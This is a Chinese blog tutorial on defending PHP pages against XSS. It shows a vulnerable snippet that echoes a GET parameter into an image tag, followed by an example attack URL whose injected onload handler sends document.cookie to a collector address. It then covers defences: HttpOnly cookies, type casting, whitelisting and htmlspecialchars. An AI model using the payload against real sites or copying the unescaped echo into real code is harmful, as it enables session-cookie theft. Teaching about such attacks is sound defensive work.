PHP XSS攻击防范--如何过滤用户输入

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/loophome/article/details/53896012

一、什么是XSS攻击

XSS攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

来看一个简单的例子:
<?php
$slogan_type = isset($_GET['slogan_type']) ? $_GET['slogan_type'] : 'default';
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>37游戏,玩心创造世界_37网页游戏平台</title>
<meta name="keywords" content="37游戏,三七玩,网页游戏平台,37.com,网页游戏" />
</head>

<body>
    <div><img src="http://img1.37wanimg.com/slogan/<?php echo $slogan_type; ?>.png"/> </div>
</body>

</html>


当攻击者A伪造网页的url:http://demo.37.com/test.php?slogan_type=%22%20onload=%22javascript:this.scr=%27http://127.0.0.1/test.php?c=%27%20+%20document.cookie%22%20att=%22发给B,那么通过PHP渲染后的页面就是:

<img src="http://img1.37wanimg.com/slogan/" onload="javascript:this.scr='http://127.0.0.1/test.php?c='+ document.cookie" att=".png"/>

这样,攻击者A可以收集到B在demo.37.com域名下的所有cookie了。
PS:现在一般的浏览器都造了xss攻击防护,以上攻击会被chrome,Edge等浏览器阻止,但是,不能保证所有用户的浏览器都是安全的,对于XSS攻击,网站开发者必须意识到这个问题。

二、如何防范XSS攻击

利用XSS攻击,攻击者可以达到很多目的,以上的例子是盗取用户的cookie。甚至可以在页面中嵌入某段代码,在用户不知情的情况下执行某种操作。

1)针对于盗取cookie的XSS攻击,可以将cookie设置为http only

重要的cookie,比如登录状态cookie,可以设置为http only。这样的话,页面脚本就无法获取到cookie了。

bool setcookie ( string $name [, string $value = "" [, int $expire = 0 [, string $path = "" [, string $domain = "" [, bool $secure = false [, bool $httponly = false ]]]]]] )

2)关键点:过滤用户输入

“永远不要相信用户输入”,这句话是真理。首先,对于一些能明确参数类型的,必须使用类型转换,比如说intval,doubleval等转换。再者,如果有固定值的(比如固定只有banner,footer等值),应该要判断用户提交的值是否在这些固定值内。

其实,xss攻击,最困难的是处理富文本输入的数据,对于一般的输出可以使用htmlspecialchars过滤,但是对于富文本以下有几点需要注意的:


a)富文本内容里可以过滤掉<script>标签,因为富文本只是文章,不可能会嵌入script脚本。
b)处理DOM元素属性中的script脚本。

为了避免重复做轮子,可以在https://packagist.org/search/?q=xss搜索现成的库来使用。

没有更多推荐了,返回首页